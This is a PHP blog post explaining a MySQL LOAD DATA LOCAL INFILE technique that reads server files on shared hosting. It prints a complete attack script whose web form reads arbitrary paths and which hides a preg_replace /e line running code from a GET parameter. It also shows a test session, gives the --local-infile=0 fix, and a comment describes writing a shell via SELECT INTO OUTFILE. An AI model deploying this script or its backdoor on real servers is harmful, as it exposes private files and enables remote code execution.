PHP Security Exploit: MySQL as a Backdoor with Load Data Local Infile

Yesterday I stumbled on a piece of code shown me by my friend Andrea Guglielmo.

It is an exploit that could affect mostly shared hosting solutions, and which I’ve never seen before, even if it has not been invented recently.

It is not really well written piece of PHP code:

  • you can immediately notice that it requires ini_set('short_open_tag', true);
  • it is vulnerable to sql injections
  • it allows arbitrary MySQL credentials (username, password and database) to be passed in via $_GET

But this is not the point of the discussion.

Let’s first get our eyes on it:

<?
$mysql_host = (isset($_GET[mysql_host]))?$_GET[mysql_host]:"localhost";
$mysql_user = (isset($_GET[mysql_user]))?$_GET[mysql_user]:"";
$mysql_pass = (isset($_GET[mysql_pass]))?$_GET[mysql_pass]:"";
$calcname = explode(".",getenv("HTTP_HOST"));
$mysql_name =(isset($_GET[mysql_name]))?$_GET[mysql_name]:"my_".$calcname[0];
$mysql_xploit = preg_replace("/(.+)/e", $_GET[db], $_GET[db]);
$path = (isset($_GET[path]))?$_GET[path]:"/membri/SITO/config.php";
$limit = (isset($_GET[limit]))?$_GET[limit]:"0,30";
$search = (isset($_GET[search]))?$_GET[search]:"";
?>
<form action="#" method="GET">
host <input type=text name=mysql_host value='<?=$mysql_host;?>'/><br />
user <input type=text name=mysql_user value='<?=$mysql_user;?>'/><br />
pass <input type=text name=mysql_pass value='<?=$mysql_pass;?>'/><br />
name <input type=text name=mysql_name value='<?=$mysql_name;?>'/><br />
path <input type=text name=path value='<?=$path;?>' /><br />
[ limit <input type=text name=limit value='<?=$limit;?>' /> ]<br />
[ search <input type=text name=search value='<?=$search;?>' /> ]<br />
<input type=submit value=send />
</form>
<?

if (isset($_GET[mysql_host])) {
  $search = $_GET[search];
  $link = mysql_connect($_GET['mysql_host'], $_GET['mysql_user'], $_GET['mysql_pass'])or die(mysql_error());
  $db = mysql_select_db($_GET['mysql_name']);
  $path = $_GET['path'];
  $limit = $_GET['limit'];
  $query = "CREATE TABLE `exploit` (`path` longtext not null);";
  $delete =  "DROP TABLE `exploit`;";
  $bypass = "LOAD DATA LOCAL INFILE '$path' INTO TABLE exploit;";
  $l = (!empty($_GET[limit])) ? " LIMIT $limit" : "";
  $fu = "SELECT * FROM exploit".$l;
  mysql_query($delete);
  mysql_query($query)or die(mysql_error());
  mysql_query($bypass)or die("Mysql-exploit-error : ".mysql_error());
  $res = mysql_query($fu)or die(mysql_error());
  $txt = "";
  while($row = mysql_fetch_array($res)) {
    $txt .= $row[path]."\n";
  }
  $output = "<form action=# method=POST><input type=hidden name=mode value=sqlwritefile>
  <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt)."</textarea></form>";
}

if (!empty($search)) {
  $q = "SELECT * FROM exploit WHERE path LIKE '%".$search."%'";
  $result = mysql_query($q)or die("Mysql-exploit-error : ".mysql_error());
  $txt2 = "";
  while($riga = mysql_fetch_assoc($result)) {
    $txt2 .= $riga[path];
  }
  $output .= "Search results: <form action=# method=POST><input type=hidden name=mode value=sqlwritefile>
  <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt2)."</textarea></form>";
}
echo $output;
?>

So here’s what it does:

  1. connects to a MySQL database
  2. creates a table called “exploit
  3. loads data from an arbitrary path passed in by $_GET['path']
  4. Allows querying for data

So you could ask me: Marco, what’s the problem? We already do that with file_get_contents($path).

The problem is that MySQL is a service running on it’s own. Usually, your PHP process is “jailed” within the limits of the www-data user or the one that suPHP has provided you…
I’m thinking of a standard Debian installation, where MySQL usually runs under user “mysql”, which has access to some interesting stuff, like /var/log/mysql.err, /var/log/mysql.log.*, /var/log/mysql/* and /var/lib/mysql/*, and this without considering all what the privileges of the user “mysql” implies.

So what about copying an entire log file or binlog file into the “exploit” table and displaying it to anonymous evil h4x0r? Creepy…

Here’s a sample I’ve just tested:

mysql> create database exploittest;
Query OK, 1 row affected (0.00 sec)
mysql> use exploittest;
Database changed
mysql> CREATE TABLE `exploit` (`path` longtext not null);
Query OK, 0 rows affected (0.01 sec)

mysql> LOAD DATA LOCAL INFILE '/var/lib/mysql/test.txt' INTO TABLE exploit;
Query OK, 3 rows affected (0.05 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0

mysql> select * from exploit;
+--------+
| path |
+--------+
| aaaa |
| bbbbb |
| cccccc |
+--------+
3 rows in set (0.00 sec)

Well, there’s a simple solution you SHOULD adopt if you have any customers with access to PHP code on your server. Here’s what the MySQL manual states:

You can disable all LOAD DATA LOCAL statements from the server side by starting mysqld with the –local-infile=0 option.

You can could read more about it here:

MySQL LOAD DATA LOCAL INFILE.

Always remember that security is NEVER enough!

 

This page has been translated into Spanish language by Maria Ramos from Webhostinghub.com.

This entry was posted in 5.3, DBA, Development, Exploits, IT, MySQL, PHP, Programming and tagged , , , , , . Bookmark the permalink.

2 Responses to PHP Security Exploit: MySQL as a Backdoor with Load Data Local Infile

  1. Things can even get worse. “LOAD DATA INFILE” requires the FILE privilege. That same privilege also controls “SELECT INTO OUTFILE” which let’s you write selected data to files. Through a combination of SQL-injection and careless setting of filepermissions, you might be able to select a literal string containing a php/shell script and write it to a file in the webroot. That would be an exploit that allows a hacker to execute arbitrary code on your server. Therefore my advice would be to disable FILE privileges on MySQL used on a webserver. If you still think you need ‘m, think twice. If after that you still need them, create a special MySQL user and grant FILE permissions to that user only. Also make sure that your webservers webroot is read-only.

    • ocramius says:

      Thank you for pointing it out… That shows yet another leak/exploit I did not think of when using MySQL.
      Also, I have to warn users that these bugs are not only related to the LAMP stack, but to MySQL itself.
      I forgot to tell that in the article as I was focusing on the “standard” environment I work on every day.
      The problems with any FILE statement affect EVERY MySQL server, especially if it’s access is provided outside localhost.
      This is a problem with MySQL itself. If you didn’t fix it and you’re not the only person to have access to your system: go fix it NOW!

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>